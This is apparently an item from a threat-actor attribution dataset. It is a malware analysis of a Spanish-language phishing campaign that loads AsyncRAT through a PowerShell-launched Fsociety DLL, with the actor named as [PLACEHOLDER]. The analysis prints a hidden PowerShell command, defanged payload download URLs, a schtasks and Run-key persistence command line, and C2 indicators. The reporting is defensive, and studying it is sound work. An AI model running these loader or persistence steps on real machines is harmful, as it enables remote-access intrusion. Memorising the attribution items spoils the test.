follows: To create a copy of the Visual Basic Script called “Asuntos_DIAN_N°6440005403992837L2088970004-01-02-2023-pdf.vbs” in C:\Windows\Temp\OneDrive.vbs if it already doesn’t exist using PowerShell. Powershell.exe -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\OneDrive.vbs Download the content of hxxp://172.174.176[.]153/rump/Rump.xls (Fsociety) Replace characters of the content downloaded Reverse the text of the second URL in the PowerShell command and download its content (hxxps://cdn.discordapp[.]com/attachments/1057665255750246403/1070100736463093833/asy[.]txt (AsyncRAT payload) Create a string with the content “C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe” Load the Fsociety DLL into memory, passing two parameters: RegSvcs path AsyncRAT payload Fsociety DLL loads AsyncRAT in the RegSvcs process using the Process Hollowing technique To better understand the PowerShell execution, the following image demonstrates the sequence of loading DLLs dynamically in memory until the final goal, which is to load AsyncRAT into memory. AsyncRAT is one of the most popular open-source remote access Trojans (RATs) on the threat landscape today. Figure 13: Sequence of loaded DLLs after PowerShell execution The following image is part of all the behavior described above, related to the first DLL loaded using the PowerShell command spawned by the VBS Script and calling the ‘VAI’ method. Figure 14: Part of the method VAI previously called by PowerShell As mentioned, Fsociety.dll is used to load the final payload of AsyncRAT, which is downloaded from Discord. [PLACEHOLDER] mainly uses AsyncRAT, njRAT, QuasarRAT, LimeRAT, and RemcosRAT in its campaigns. A RAT is a remote access tool a network admin may use to remotely administrate the node. So a malicious RAT installed on a victim’s machine enables the threat actor to connect to the infected endpoint any time they like, and to perform any operations they desire. Figure 15: Fsociety.dll is used to load AsyncRAT in memory The “Ande” function called in the Fsociety.dll contains the following code: Figure 16: Fsociety DLL code Hashes (md5, sha-256) C75F9D3DA98E57B973077FDE8EC3780F 5399BF1F18AFCC125007D127493082005421C5DDEBC34697313D62D8BC88DAEC File Name Fiber.dll (Dll.ppam) File Size 10240 bytes Compiled Thu Feb 02 21:43:24 2023 | UTC Hashes (md5, sha-256) 07AF8778DE9F2BC53899AAC7AD671A72 03B7D19202F596FE4DC556B7DA818F0F76195912E29D728B14863DDA7B91D9B5 File Name Fsociety.dll (Rump.xls) File Size 25600 bytes Compiled Sat May 18 00:13:09 2086 | UTC Hashes (md5, sha-256) 5E518B80C701E17259F3E7323EFFC83F 64A08714BD5D04DA6E2476A46EA620E3F7D2C8A438EDA8110C3F1917D63DFCFC File Name Stub.exe (AsyncRAT payload) File Size 26080 bytes Compiled Sun May 10 05:24:51 2020 | UTC AsyncRAT contains a configuration method with information that is used during the intrusion attempt. This information is encrypted using Base64 and AES256. Figure 17: AsyncRAT configuration encrypted Once the configuration is decrypted, it contains information about the Command-and-Control (C2) to transfer commands and files between client and server. Figure 18: AsyncRAT configuration decrypted Also, between the configuration, it was possible to obtain the X.509 certificates used for communication with the C2. Figure 19: Certificate extracted from the AsyncRAT config AsyncRAT can establish persistence in two different ways, depending on whether a user loaded it with admin privileges or not. A copy of itself is first created under C:\Users\<user>\AppData\Roaming\MRR.exe. Figure 20: Creation of MRR in AppData folder 1. If the user who executed it was an admin, then AsyncRAT can create a scheduled task using the process schtasks.exe, with the following command line: a. "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "MRR" /tr '"C:\Users\<user>\AppData\Roaming\MRR.exe"' & exit' Figure 21: Execution of schtasks.exe via cmd.exe Figure 22: Command line executed to create scheduled task and run AsyncRAT 2. If the user is not an admin, then AsyncRAT can create a registry key to execute the binary every time the system is started: a. Key: KCU\Software\Microsoft\Windows\CurrentVersion\Run\MRR b. Value: C:\Users\<user>\AppData\Roaming\MRR.exe Figure 23: Registry key created to execute the AsyncRAT Payload An interesting part that always happens, regardless of whether the user is admin or not, is the creation of a .bat file in the user’s Temp directory to perform the following actions: a. Timeout.exe execution for three seconds b. Run the AsyncRAT payload from AppData folder c. Delete the .bat file Figure 24: tmp file creation in the Temp directory Figure 25: Execution of cmd.exe to load the .bat file from tmp folder We could determine that the .bat filename is randomly generated using the regular expression after several executions of this sample. The structure is like the next one: .*tmp[a-zA-Z1-9]{4}.tmp.bat. Figure 26: Persistence methods used by AsyncRAT Network Infrastructure In this case, the victim’s machine starts communicating with the DuckDNS server to receive and execute commands, exfiltrate information, and perform any other action desired by the threat actor. As seen in figure 18 above, the server used is asy1543.duckdns[.]org:1543. Figure 27: Communication started between victim’s machine and the threat actor’s C2 During our investigation, the resolution of the DuckDNS domain was changed to different IP addresses. Initially, the IP that resolves the domain was a VPN/Proxy service 46.246.86[.]3. While conducting the investigation, we discovered another IP with the same purpose, 46.246.12[.]6. Entity Value Description Domain asy1543.duckdns[.]org:1543 Final AsyncRAT payload communication domain IP 46.246.86[.]3 Resolution of the DuckDNS domain IP 46.246.12[.]6 Resolution of the DuckDNS domain URL hxxp://172.174.176[.]153/ Web application hosting payloads used during the infection IP 172.174.176[.]153 IP of the web application hosting payloads used during the infection [PLACEHOLDER]/ [PLACEHOLDER] uses Dynamic DNS (DDNS) services, such as DuckDNS, for most campaigns to connect its implemented RATs to the infrastructure they control to send and receive commands. DuckDNS additionally allows for high IP resolution rotation and the launch of new subdomains under this well-known DDNS The application web hosted under hxxp://172.174.176[.]153/ had two main directories where it stored information to be used during the intrusion as the user downloads and executes files. The first directory was hxxp://172.174.176[.]153/dll/, storing several DLLs used during the intrusion. Figure 28: Index of [PLACEHOLDER]'s /dll directory Another directory is found at hxxp://172.174.176[.]153/rump/ and stores another DLL, in this case, related to Fsociety: Figure 29: index of /rump directory Targets [PLACEHOLDER]/ [PLACEHOLDER]'s targets include health, public, financial, judiciary, and law enforcement entities in Colombia. Among the countries where we have seen [PLACEHOLDER] activity in the last few months, specifically distributing the UUE file types with different themes, include: Colombia Ecuador Chile Spain This is consistent with the use of the Spanish language in the group’s spear-phishing emails. Most countries in South America use Spanish (apart from Brazil), which matches the threat actor’s locale and the names in the bait document. Attribution [PLACEHOLDER] is a South American-based threat actor active since at least 2019. The group continues to concentrate its operations within a Hispanic geographic region, with its main targets being government institutions and other organizations primarily based in Colombia. The use of specific tools and artifacts, along with the type and configuration of the network infrastructure documented in this report, combined with the tactics, techniques & procedures (TTPs) used to deploy them, all closely align with previously attributed campaigns by this group. That, coupled with the geolocation and nature of the targets seen in this campaign, leads us to ascertain, at the very least, a moderate level of confidence that this campaign was conducted by [PLACEHOLDER]. Conclusions This campaign continues to operate for the purposes of information theft and espionage. The modus operandi used has mostly stayed the same as the group’s previous efforts – it is very simple, which may mean that this group is comfortable with its way of launching campaigns via phishing emails, and feels confident in using them because they continue to work. Over the next few months, we will likely continue to see new targets for this group, using new ways to deceive their victims. |
https://research.checkpoint.com/2023/blindeagle-targeting-ecuador-with-sharpened-tools/ | "ACTIVE CAMPAIGNS AGAINST COLOMBIAN TARGETS For the last few months, we have been observing the ong(...TRUNCATED) | "You are given a threat report that describes a cyber incident. Any direct mentions of the threat ac(...TRUNCATED) |
https://cloud.google.com/blog/topics/threat-intelligence/turla-galaxy-opportunity/ | "USB Spreading As Mandiant recently wrote about in our blog post, Always Another Secret: Lifting th(...TRUNCATED) | "You are given a threat report that describes a cyber incident. Any direct mentions of the threat ac(...TRUNCATED) |
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